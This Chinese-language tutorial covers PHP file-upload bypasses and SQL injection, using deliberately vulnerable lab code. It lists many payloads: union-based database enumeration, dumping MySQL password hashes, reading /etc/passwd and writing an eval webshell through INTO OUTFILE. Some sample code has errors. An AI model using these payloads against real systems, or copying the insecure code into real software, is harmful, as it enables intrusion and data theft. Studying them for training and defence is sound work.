PHP 常見漏洞代碼總結


漏洞總結

PHP 文件上傳漏洞

只驗證MIME類型: 代碼中驗證了上傳的MIME類型,繞過方式使用Burp抓包,將上傳的一句話小馬*.php中的Content-Type:application/php,修改成Content-Type: image/png然后上傳.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			// 判斷 content-type 的類型,如果是image/png則通過
			if($_FILES['upload_file']['type'] == 'image/png')
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
				if (move_uploaded_file($temp_file, $img_path))
					echo "上傳完成.";
				else
					echo "上傳出錯.";
			}
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

白名單的繞過: 白名單就是允許上傳某種類型的文件,該方式比較安全,抓包上傳php后門,然后將文件名改為.jpg即可上傳成功,但是有時候上傳后的文件會失效無法拿到Shell.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$allow_ext = array(".jpg",".png",".jpeg");

			$file_name = trim($_FILES['upload_file']['name']); // 取出文件名
			$file_ext = strrchr($file_name, '.');
			$file_ext = str_ireplace('::$DATA', '', $file_ext); //去除字符串::$DATA
			$file_ext = strtolower($file_ext);                  // 轉換為小寫
			$file_ext = trim($file_ext);                        // 首尾去空

			if(in_array($file_ext, $allow_ext))
			{
				$temp_file = $_FILES['upload_file']['tmp_name'];
				$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
				 if (move_uploaded_file($temp_file,$img_path))
				 	echo "上傳完成: {$img_path} <br>";
				 else
				 	echo "上傳失敗 <br>";
			}
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

白名單驗證文件頭: 本關主要是允許jpg/png/gif這三種文件的傳輸,且代碼中檢測了文件頭的2字節內容,我們只需要將文件的頭兩個字節修改為圖片的格式就可以繞過.

通常JPEG/JPG: FF D8 | PNG:89 50 | GIF:47 49 以JPEG為例,我們在一句話木馬的開頭添加兩個11也就是二進制的3131,然后將.php修改為.jpg,使用Brup抓包發送到Repeater模塊,將HEX編碼3131改為FFD8點Send后成功上傳JPG.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
	    $file = fopen($filename, "rb");
	    $bin = fread($file, 2);
	    fclose($file);
	    $strInfo = @unpack("C2chars", $bin);    
	    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
	    $fileType = '';    
	    switch($typeCode)
	    {      
	        case 255216: $fileType = 'jpg'; break;
	        case 13780:  $fileType = 'png'; break;        
	        case 7173:   $fileType = 'gif'; break;
	        default:     $fileType = 'unknown';
	        }    
	        return $fileType;
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		 if($file_type == 'unknown')
    		 {
		        echo "上傳失敗 <br>";
		    }else
		    {
		        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上傳完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

繞過檢測文件頭: 這種方式是通過文件頭部起始位置進行匹配的從而判斷是否上傳,我們可以通過在上傳文件前面追加合法的文件頭進行繞過,例如在文件開頭部位加上GIF89a<?php phpinfo();?>即可完成繞過,或者如果是\xffxd8\xff我們需要在文件開頭先寫上%ff%d8%ff<?php phpinfo(); ?>然后,選擇特殊字符,右擊CONVERT->URL->URL-Decode編碼后釋放.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
	    $fh = fopen($filename, "rb");
	    if($fh)
	    {
	    	$bytes = fread($fh,6);
	    	fclose($fh);
	    	if(substr($bytes,0,3) == "\xff\xd8\xff" or substr($bytes,0,3)=="\x3f\x3f\x3f"){
	    		return "image/jpeg";
	    	}
	    	if($bytes == "\x89PNG\x0d\x0a"){
	    		return "image/png";
	    	}
	    	if($bytes == "GIF87a" or $bytes == "GIF89a"){
	    		return "image/gif";
	    	}
	    }
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "狀態: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上傳失敗 <br>";
		    }else
		    {
		    	$file_name = $_FILES['upload_file']['name'];
	    		$img_path = UPLOAD_PATH . "/" . $file_name;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上傳 {$img_path} 完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

圖像檢測繞過: 通過使用圖像函數,檢測文件是否為圖像,如需上傳則需要保持圖像的完整性,所以無法通過追加文件頭的方式繞過,需要制作圖片木馬上傳.

針對這種上傳方式的繞過我們可以將圖片與FIG文件合並在一起copy /b pic.gif+shell.php 1.php上傳即可繞過.

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	function getReailFileType($filename)
	{
		// 檢查是否為圖像
		if(@getimagesize($filename))
		{
			if(@imagecreatefromgif($filename)){
				return "image/gif";
			}
			if(@imagecreatefrompng($filename)){
				return "image/png";
			}
			if(@imagecreatefromjpeg($filename)){
				return "image/jpeg";
			}
		}
	    return 'unknown';
	}

	if(isset($_POST['submit']))
	{
		if(file_exists(UPLOAD_PATH))
		{
			$temp_file = $_FILES['upload_file']['tmp_name'];
    		$file_type = getReailFileType($temp_file);
    		echo "狀態: {$file_type} ";
    		 if($file_type == 'unknown')
    		 {
		        echo "上傳失敗 <br>";
		    }else
		    {
		    	$file_name = $_FILES['upload_file']['name'];
	    		$img_path = UPLOAD_PATH . "/" . $file_name;
		        if(move_uploaded_file($temp_file,$img_path))
		        	echo "上傳 {$img_path} 完成 <br>";
		    }
		}
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

上傳條件競爭: 這里是條件競爭,先將文件上傳到服務器,然后判斷文件后綴是否在白名單里,如果在則重命名,否則刪除,因此我們可以上傳1.php只需要在它刪除之前訪問即可,可以利用burp的intruder模塊不斷上傳,然后我們不斷的訪問刷新該地址即可

<?php
	header("Content-type: text/html;charset=utf-8");
	define("UPLOAD_PATH", "./");

	if(isset($_POST['submit']))
	{
		$ext_arr = array('jpg','png','gif');
	    $file_name = $_FILES['upload_file']['name'];
	    $temp_file = $_FILES['upload_file']['tmp_name'];
	    $file_ext = substr($file_name,strrpos($file_name,".")+1);
	    $upload_file = UPLOAD_PATH . '/' . $file_name;

	    if(move_uploaded_file($temp_file, $upload_file))
	    {
	    	if(in_array($file_ext, $ext_arr))
	    	{
		    	$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
	             rename($upload_file, $img_path);
	             echo "上傳完成. <br>";
	    	}else
	    	{
	    		unlink($upload_file);
	    		echo "上傳失敗. <br>";
	    	}
	    }
	}
?>

<body>
	<form enctype="multipart/form-data" method="post">
        <input class="input_file" type="file" name="upload_file">
        <input class="button" type="submit" name="submit" value="上傳">
    </form>
</body>

PHP 注入漏洞

基本查詢語句

搭建SQL注入演練環境,首先確保MySQL版本為MySQL 5.7以上,並導入下方的數據庫腳本自動創建相應的數據庫文件.

drop database if exists lyshark;
create database lyshark;
use lyshark;
drop table if exists local_user;
create table local_user(
	id int(10) primary key not null,
	username varchar(100) not null,
	password varchar(100) not null,
	usremail varchar(100) not null,
	usertype int(1) default 0
);
alert table local_user character set utf8;
insert into lyshark.local_user(id,username,password,usremail) VALUES(1,"admin",md5("123123"),"admin@163.com"),
(2,"lyshark",md5("adsdfw2345"),"lyshark@163.com"),(3,"guest",md5("12345678"),"guest@126.com"),
(4,"Dumb",md5("458322456"),"Dumb@blib.com"),(5,"Angelina",md5("GIs92834"),"angelina@mkic.com"),
(6,"Dummy",md5("HIQWu28934"),"dummy@cboos.com"),(7,"batman",md5("suw&*("),"batmain@gmail.com"),
(8,"dhakkan",md5("swui16834"),"dhakakan@umail.com"),(9,"nacki",md5("fsie92*("),"cbooks@emial.com"),
(10,"wuhaxp",md5("sadwq"),"cookiec@345.com"),(11,"cpiwu",md5("sadwq"),"myaccce@345.com");

接着安裝好PHP7.0或以上版本的環境,並創建index.php文件,寫入以下測試代碼,數據庫密碼請自行修改.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入測試代碼</title>
</head>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
	            $sql = "select * from local_user where id='$id' limit 0,1";
	            $query = mysqli_query($connect,$sql);
	            if($query)
	            	$row = mysqli_fetch_array($query);
		    }
		}
	?>
<body>
	<table border="1">
	   <tr>
	   		<th>序號</th><th>用戶賬號</th><th>用戶密碼</th><th>用戶郵箱</th><th>權限</th>
	   </tr>
	   <tr>
          <td><?php echo $row['id']; ?></td>
          <td><?php echo $row['username']; ?></td>
          <td><?php echo $row['password']; ?></td>
          <td><?php echo $row['usremail']; ?></td>
          <td><?php echo $row['usertype']; ?></td>
	   </tr>
	</table><br>
	<?php echo '<hr><b> 后端執行SQL語句:  </b>' . $sql;  ?>
</body>
</html>

Union 查詢字段個數: Union可以用於一個或多個SELECT的結果集,但是他有一個條件,就是兩個select查詢語句的查詢必須要有相同的列才可以執行,利用這個特性我們可以進行對比查詢,也就是說當我們union select的列與它查詢的列相同時,頁面返回正常.

首先我們猜測,當前字段數為4的時候頁面無返回,也就說明表字段數必然是大於4的,接着增加一個字段,查詢1,2,3,4,5時頁面顯示正常,說明表結構是5個字段的.

index.php?id=1' and 1=0 union select 1,2,3,4 --+

index.php?id=1' and 1=0 union select 1,2,3,4,5 --+
index.php?id=1' and 1=0 union select null,null,null,null,null --+

Order By查詢字段個數: 在SQL語句中是對結果集的指定列進行排序,比如我們想讓結果集按照第一列排序就是order by 1按照第二列排序order by 2依次類推,按照這個原理我們來判斷他的字段數,如果我們按照第1列進行排序數據庫會返回正常,但是當我們按照第100列排序,因為數據庫中並不存在第100列,從而報錯或無法正常顯示.

首先我們猜測數據庫有6個字段,嘗試根據第6行進行排序發現數據無法顯示,說明是小於6的,我們繼續使用5測試,此時返回了結果.

index.php?id=1' and 1 order by 6 --+
index.php?id=1' and 1 order by 5 --+

大部分程序只會調用數據庫查詢的第一條語句進行查詢然后返回,如果想看到的數據是在第二條語句中,如果我們想看到我們想要的數據有兩種方法,第一種是讓第一條數據返回假,第二種是通過sql語句直接返回我們想要的數據.

第一種我們讓第一個查詢的結果始終為假,通過使用and 0來實現,或者通過limit語句,limit在mysql中是用來分頁的,通過他可以從查詢出來的數據中獲取我們想要的數據.

index.php?id=1' and 0 union select null,null,null,null,null --+
index.php?id=1' and 0 union select null,version(),null,null,null --+

index.php?id=1' union select null,null,null,null,null limit 1,1 --+
index.php?id=1' union select null,version(),null,null,null limit 1,1 --+

查全部數據庫名稱: MySQL默認將所有表數據放入information_schema.schemata這個表中進行存儲,我們可以查詢這個表中的數據從而找出當前系統中所有的數據庫名稱,通過控制limit中的參數即可爆出所有數據庫.

index.php?id=1' and 0 union select 1,1,database(),1,1 --+

index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+

查詢表中名稱: 通過使用group_concat可以返回查詢的所有結果,因為我們需要通過命名判斷該我們需要的敏感數據.

# 通過 limit 限定條件每次只輸出一個表名稱

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,table_name
from information_schema.tables where table_schema='lyshark' limit 1,1 --+

# 通過 concat 函數一次性輸出所有表
index.php?id=1' and 0 union select 1,2,3,4,group_concat(table_name)
from information_schema.tables where table_schema='lyshark' --+

查詢表中字段: 通過使用table_schematable_name指定查詢條件,即可查詢到表中字段與數據.

# 查詢出lyshark數據庫local_user表中的,所有字段
index.php?id=1' and 0 union select 1,2,3,4,group_concat(column_name) from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' --+

# 每次讀取出一個表中字段,使用limit進行遍歷
index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 0,1 --+

index.php?id=1' and 0 union select 1,2,3,4,column_name from information_schema.columns
>              where table_schema='lyshark' and table_name='local_user' limit 1,1 --+

查詢表中數據: 通過上面的語句我們可以確定數據庫名稱,數據表,以及表中字段名稱,接着可以進行讀取表中數據.

index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+

常用的查詢語句: 除此以外,我們還可以使用以下常用判斷條件的配合實現對數據庫其他權限的進一步注入.

# -----------------------------------------------------------------------------------
# 判斷注入點: 注入點的判斷有多種形式,我們可以通過提交and/or/+-等符號來判斷.

index.php?id=1' and 1=1 --+    # 提交and判斷注入
index.php?id=1' and 1=0 --+
index.php?id=1%2b1             # 提交加號判斷注入
index.php?id=2-1               # 提交減號判斷注入
index.php?id=1 and sleep(5)    # 延時判斷諸如點

# -----------------------------------------------------------------------------------
# 判斷ROOT權限: 判斷數據庫是否具有ROOT權限,如果返回了查詢結果說明具有權限.
index.php?id=1' and ord(mid(user(),1,1)) = 114 --+

# -----------------------------------------------------------------------------------
# 判斷權限大小: 如果結果返回正常,說明具有讀寫權限,如果返回錯誤應該是管理員給數據庫帳戶降權了.
index.php?id=1' and(select count(*) from mysql.user) > 0

# -----------------------------------------------------------------------------------
# 查詢管理密碼: 查詢MySQL的管理密碼,這里的#末尾警號,是注釋符的意思,說明后面的都是注釋.
index.php?id=1' and 0 union select 1,host,user,password,5 from mysql.user --+                // 5.6以前版本
index.php?id=1' and 0 union select 1,host,user,authentication_string,5 from mysql.user --+   // 5.7以后版本

# -----------------------------------------------------------------------------------
# 向主站寫入一句話: 可以寫入一句話后門,但在linux系統上目錄必須具有讀寫和執行權限.
index.php?id=1' and 0 union select 1,load_file("/etc/passwd"),3,4,5 --+
index.php?id=1' union select 1,load_file("/etc/passwd"),3,4,5 into outfile '/var/www/html/a.txt'--+
index.php?id=1' union select 1,"<?php phpinfo();?>",3,4,5 into outfile '/var/www/html/shell.php' --+
index.php?id=1' union select 1,2,3,4,load_file(char(11,116,46,105,110,105)) into outfile '/var/www/html/b.txt' --+

# -----------------------------------------------------------------------------------
# 利用MySQL引擎寫一句話: 通過使用MySQL的存儲引擎,以MySQL身份寫入一句話
create table shell(cmd text);
insert into shell(cmd) values('<?php @eval($_POST[cmd]) ?>');
select cmd from shell into outfile('/var/www/html/eval.php');

# -----------------------------------------------------------------------------------
# 常用判斷語句: 下面是一些常用的注入查詢語句,包括查詢主機名等敏感操作.
index.php?id=1' union select 1,1,load_file("/etc/passwd")       // 加載指定文件
index.php?id=1' union select 1,1,@@datadir                      // 判斷數據庫目錄
index.php?id=1' union select 1,1,@@basedir                      // 判斷安裝根路徑
index.php?id=1' union select 1,1,@@hostname                     // 判斷主機名
index.php?id=1' union select 1,1,@@version                      // 判斷數據庫版本
index.php?id=1' union select 1,1,@@version_compile_os           // 判斷系統類型(Linux)
index.php?id=1' union select 1,1,@@version_compile_machine      // 判斷系統體系(x86)
index.php?id=1' union select 1,1,user()                         // 曝出系統用戶
index.php?id=1' union select 1,1,database()                     // 曝出當前數據庫

GET 注入

簡單的注入測試: 本關中沒有對代碼進行任何的過濾.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入測試代碼</title>
</head>
<body>
	<?php
		function getCurrentUrl()
		{
		    $scheme = $_SERVER['REQUEST_SCHEME'];   // 協議
		    $domain = $_SERVER['HTTP_HOST'];        // 域名
		    $requestUri = $_SERVER['REQUEST_URI'];  // 請求參數
		    $currentUrl = $scheme . "://" . $domain . $requestUri;
		    return urldecode($currentUrl);
		}
	?>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    $id = $_GET['id'];
		    if(isset($id))
		    {
		        $sql = "select username,password from local_user where id='$id' limit 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
	        		if($row)
					{
					  	echo "<font size='5'>";
					  	echo "賬號: {$row['username']} <br>";
					  	echo "密碼: {$row['password']} <br>";
					  	echo "</font>";
					  	echo "后端執行語句: {$sql} <br>";
					  	$URL = getCurrentUrl();
					  	echo "后端URL參數: {$URL} <br>";
				  	}
					else 
					{
						echo "后端執行語句: {$sql} <br>";
						print_r(mysql_error());
					}
		        }
		    }
		}
	?>
</body>
</html>

SQL語句沒有經過任何過濾,或者是過濾不嚴格,會導致注入的發生.

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id=$id limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=($id) limit 0,1";
http://127.0.0.1/index.php?id=-1) union select 1,version() --+
http://127.0.0.1/index.php?id=1) and 1 =(0) union select 1,version() --+

---------------------------------------------------------------------------------
$sql = "select username,password from local_user where id='$id' limit 0,1";
http://127.0.0.1/index.php?id=-1 union select 1,version() --+

$sql = "select username,password from local_user where id=('$id') limit 0,1";
http://127.0.0.1/index.php?id=-1') union select 1,version() --+
http://127.0.0.1/index.php?id=1') and '1'=('0') union select 1,version() --+

$sql = "select username,password from local_user where id=(('$id')) limit 0,1";
http://127.0.0.1/index.php?id=-1')) union select 1,version() --+

---------------------------------------------------------------------------------
$id = '"' . $id . "'";
$sql = "select username,password from local_user where id=($id) limit 0,1";

http://127.0.0.1/index.php?id=-1") union select 1,version() --+
http://127.0.0.1/index.php?id=1") and "1"=("0") union select 1,version() --+

POST 輸入框注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	賬號: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密碼: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表單" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		echo "<br>歡迎用戶: {$row['username']} 密碼: {$row['password']} <br><br>";
		        		echo "后端執行語句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端執行語句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

簡單的進行查詢測試,此處的查詢語句沒有經過任何的過濾限制,所以呢你可以直接脫褲子了.

# ---------------------------------------------------------------------------------------------------------
# SQL語句
$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
# ---------------------------------------------------------------------------------------------------------

# 爆出字段數
admin' order by 1 #
admin' order by 2 -- 
admin' and 1 union select 1,2,3 #
admin' and 1 union select 1,2 #

# 爆出數據庫
admin ' and 0 union select null,database() #
admin' and 0 union select 1,version() #

# 爆出所有表名稱(需要注意數據庫編碼格式)
set character_set_database=utf8;
set collation_database= utf8_general_ci
alter table local_user convert to character set utf8;

' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 0,1 #
' union select null,table_name from information_schema.tables where table_schema='lyshark' limit 1,1 #

# 爆出表中字段
' union select null,column_name from information_schema.columns where table_name='local_user' limit 0,1 #
' union select null,column_name from information_schema.columns where table_name='local_user' limit 1,1 #

# 繼續爆出所有的用戶名密碼
' union select null,group_concat(username,0x3a,password) from local_user #

# ---------------------------------------------------------------------------------------------------------
# 雙注入-字符型
# 此類注入很簡單,只需要閉合前面的")而后面則使用#注釋掉即可
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=($uname) and password=($passwd) LIMIT 0,1";

#payload
admin") order by 2 #
admin") and 0 union select 1,version() #
admin") and 0 union select 1,database() #

# ---------------------------------------------------------------------------------------------------------
# POST型的-雙注入
# 
$uname = '"' .  $uname . '"';
$passwd = '"' . $passwd . '"';
$sql="select username,password FROM local_user WHERE username=$uname and password=$passwd LIMIT 0,1";

admin" and 0 union select 1,version() #

Usage-Agent 注入: Usagen-Agent是客戶請求時攜帶的請求頭,該頭部是客戶端可控,如果有帶入數據庫的相關操作,則可能會產生SQL注入問題.

建庫> create table User_Agent(u_name varchar(20),u_addr varchar(20),u_agent varchar(256));

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入測試代碼</title>
</head>
<body>
<form action="" method="post">
	賬號: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密碼: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
				$uname=$_POST['uname'];
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		// 獲取到用戶的Agent客戶請求體
		        		$Uagent = $_SERVER['HTTP_USER_AGENT'];
						// REMOTE_ADDR 是調用的底層的會話ip地址,理論上是不可以偽造的
						$IP = $_SERVER['REMOTE_ADDR'];

						echo "<br>歡迎用戶: {$row['username']} 密碼: {$row['password']} <br><br>";
						echo "您的IP地址是: {$IP} <br>";

						$insert_sql = "insert into User_Agent(u_name,u_addr,u_agent) values('$uname','$IP','$Uagent')";
						mysqli_query($connect,$insert_sql);
						echo "User_Agent請求頭: {$Uagent} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>

首先我們通過burp提交登錄請求,然后再登陸時,修改agent請求頭,讓其帶入數據庫查詢.

POST /post.php HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

uname=admin&passwd=123123&submit=Submit

修改agent驗證,可被繞過,此處的語句帶入數據庫變為了insert into User_Agent values('1)','u_addr','u_agent')有時,不存在回顯的地方即使存在注入也無法得到結果,但卻是一個安全隱患,需要引起重視.

User-Agent: 1',1,1)#
uname=admin&passwd=123123&submit=Submit

User-Agent: 1',1,updatexml(1,concat(0x3a,database(),0x3a),1)a)#)#
uname=admin&passwd=123123&submit=Submit

Cookie 注入: 該注入的產生原因是因為程序員沒有將COOKIE進行合法化檢測,並將其代入到了數據庫中查詢了且查詢變量是可控的,當用戶登錄成功后會產生COOKIE,每次頁面刷新后端都會拿着這個COOKIE帶入數據庫查找,這是非常危險的.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
</head>
<body>
<form action="" method="post">
	賬號: <input type="text"  name="uname" value=""/><br>
	密碼: <input type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="Submit" />
</form>
	<?php
		header("Content-type: text/html;charset=utf8");
		error_reporting(0);
		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
			$cookee = $_COOKIE['uname'];
			if($cookee)
			{
				$sql="SELECT username,password FROM local_user WHERE username='$cookee' LIMIT 0,1";
				$query = mysqli_query($connect,$sql);
				echo "執行SQL: " . $sql . "<br>";
				if($query)
				{
					$row = mysqli_fetch_array($query);
					if($row)
					{
						echo "<br> COOKIE 已登錄 <br>";
						echo "您的賬號: " . $row['username'] . "<br>";
						echo "您的密碼: " . $row['password'] . "<br>";
					}
				}
			}

		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
			$uname=$_POST['uname'];
			$passwd=$_POST['passwd'];
			$passwd = md5($passwd);
			$sql="select username,password FROM local_user WHERE username='$uname' and password='$passwd' LIMIT 0,1";
			$query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	$cookee = $row['username'];
		        	if($row)
		        	{
		        		setcookie('uname', $cookee, time() + 3600);
		        		$format = 'D d M Y - H:i:s';
		        		$timestamp = time() + 3600;
		        		echo "COOKIE已設置: " . date($format, $timestamp);
		        	}
		        }
		    }
		}
	?>
</body>
</html>

以下是注入Payload語句,當登陸成功后,抓包然后刷新頁面,然后構造惡意的登錄COOKIE,即可實現利用.

Cookie: uname=admin' and 0 union select database(),2--+
Cookie: uname=admin' and 0 union select version(),2--+

update-xml注入:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <title>SQL 注入測試代碼</title>
</head>
<body>
<form action="" method="post">
	賬號: <input style="width:1000px;height:20px;" type="text"  name="uname" value=""/><br>
	密碼: <input  style="width:1000px;height:20px;" type="password" name="passwd" value=""/>
	<input type="submit" name="submit" value="提交表單" />
</form>
	<?php
		error_reporting(0);
		header("Content-type: text/html;charset=utf8");

		function Check($value)
		{
			if(!empty($value))
			{ // 如果結果不為空,則取出其前十五個字符 18
				$value = substr($value,0,15);
			}
			// 當magic_quotes_gpc=On的時候,函數get_magic_quotes_gpc()就會返回1
			// 當magic_quotes_gpc=Off的時候,函數get_magic_quotes_gpc()就會返回0
			if(get_magic_quotes_gpc())
			{
				// 刪除由 addslashes() 函數添加的反斜杠
				$value = stripslashes($value);
			}
			if(!ctype_digit($value))
			{
				// ctype_digit()判斷是不是數字,是數字就返回true,否則返回false
				// mysql_real_escape_string()轉義 SQL 語句中使用的字符串中的特殊字符。
				$value = "'" . mysql_real_escape_string($value) . ".";
			}
			else
				$value = intval($value);
			return $value;
		}


		$connect = mysqli_connect("localhost","root","12345678","lyshark");
		if($connect)
		{
		    if(isset($_POST['uname']) && isset($_POST['passwd']))
		    {
		    	$uname=Check($_POST['uname']);
				$passwd=$_POST['passwd'];
				$passwd = md5($passwd);

		        $sql="select username,password FROM local_user WHERE username=$uname LIMIT 0,1";
		        $query = mysqli_query($connect,$sql);
		        if($query)
		        {
		        	$row = mysqli_fetch_array($query);
		        	if($row)
		        	{
		        		$rows = $row['username'];
		        		$udate = "UPDATE local_user SET password = '$passwd' WHERE username='$rows'";
		        		mysql_query($update);
		        		if(mysql_error())
		        		{
		        			print_r(mysql_error());
		        		}
		        		echo "后端執行語句: {$sql} <br>";
		        	}
		        	else
		        	{
		        		echo "<br>后端執行語句: {$sql} <br>";
		        	}
		        }
		    }
		}
	?>
</body>
</html>


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM